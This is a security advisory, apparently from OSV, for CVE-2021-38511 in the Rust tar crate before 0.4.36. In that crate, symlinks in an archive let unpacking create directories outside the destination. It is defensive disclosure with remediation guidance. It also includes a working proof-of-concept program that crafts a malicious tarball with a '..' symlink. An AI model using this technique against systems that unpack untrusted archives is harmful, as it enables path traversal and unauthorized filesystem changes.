---
id: CVE-2021-38511
aliases:
  - RUSTSEC-2021-0080
  - GHSA-62jx-8vmh-4mcw
title: Links in archive can create arbitrary directories
summary: Links in archive can create arbitrary directories
severity: high
cvss: 7.5
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N'
vendor: tar
product: tar
ecosystem: rust
affected:
  - 'tar >= 0.0.0-0, < 0.4.36'
patched:
  - tar 0.4.36
published: '2021-07-19'
updated: '2026-07-17'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/RUSTSEC-2021-0080'
references:
  - url: 'https://crates.io/crates/tar'
  - url: 'https://rustsec.org/advisories/RUSTSEC-2021-0080.html'
  - url: 'https://github.com/alexcrichton/tar-rs/issues/238'
tags:
  - osv
  - rust
epss: 0.01392
epssPercentile: 0.7116
ingestedAt: '2026-07-17T19:00:51.800Z'
---

## Overview

When unpacking a tarball that contains a symlink the `tar` crate may create
directories outside of the directory it's supposed to unpack into.

The function errors when it's trying to create a file, but the folders are
already created at this point.

```rust
use std::{io, io::Result};
use tar::{Archive, Builder, EntryType, Header};

fn main() -> Result<()> {
    let mut buf = Vec::new();

    {
        let mut builder = Builder::new(&mut buf);

        // symlink: parent -> ..
        let mut header = Header::new_gnu();
        header.set_path("symlink")?;
        header.set_link_name("..")?;
        header.set_entry_type(EntryType::Symlink);
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        // file: symlink/exploit/foo/bar
        let mut header = Header::new_gnu();
        header.set_path("symlink/exploit/foo/bar")?;
        header.set_size(0);
        header.set_cksum();
        builder.append(&header, io::empty())?;

        builder.finish()?;
    };

    Archive::new(&*buf).unpack("demo")
}
```

This has been fixed in https://github.com/alexcrichton/tar-rs/pull/259 and is
published as `tar` 0.4.36. Thanks to Martin Michaelis ([@mgjm](https://github.com/mgjm)) for
discovering and reporting this, and Nikhil Benesch ([@benesch](https://github.com/benesch)) for
the fix!

## Affected packages

- `tar >= 0.0.0-0, < 0.4.36`

## Remediation

Upgrade to a patched release:

- `tar 0.4.36`